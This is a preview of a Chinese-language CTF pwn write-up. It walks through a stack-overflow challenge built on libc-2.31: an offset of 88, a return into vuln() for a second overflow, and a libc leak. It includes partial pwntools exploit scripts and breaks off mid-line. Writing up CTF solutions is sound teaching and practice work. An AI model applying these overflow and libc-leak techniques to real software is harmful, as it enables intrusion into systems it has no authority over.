文章预览
1. 前言 因为沉迷web,所以pwn没时间去做,现在回过头来看pwn题出的挺有意思,也在自己的能力范围之内,如果不做web,pwn应该还是能做出来几题的。 2. stdout (全缓冲) 给了libc-2.31。 看起来像是基础栈溢出,给了个后门函数,但不是system而是个更大的栈溢出。 偏移量88,但只能写0x60=96,因此必须用vuln()二次溢出。 from pwn import * context.log_level = 'debug' context.arch='amd64' sh = gdb.debug( "./pwn" , "b *vuln\nc" ) #sh = process("./pwn") elf = ELF( "./pwn" ) libc = ELF( "/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so" ) vuln = 0x40125D payload = "A" *88 + p64(vuln) sh.sendline(payload) sh.interactive() 成功进入vuln() 然后测出偏移量是39这个奇怪的数值,这是因为用了sendline,换成send来溢出,成功泄露libc。 from pwn import * context.log_level = 'debug' context.arch='amd64' #sh = gdb.debug("./pwn","b *vuln\nc") sh = pr
………………………………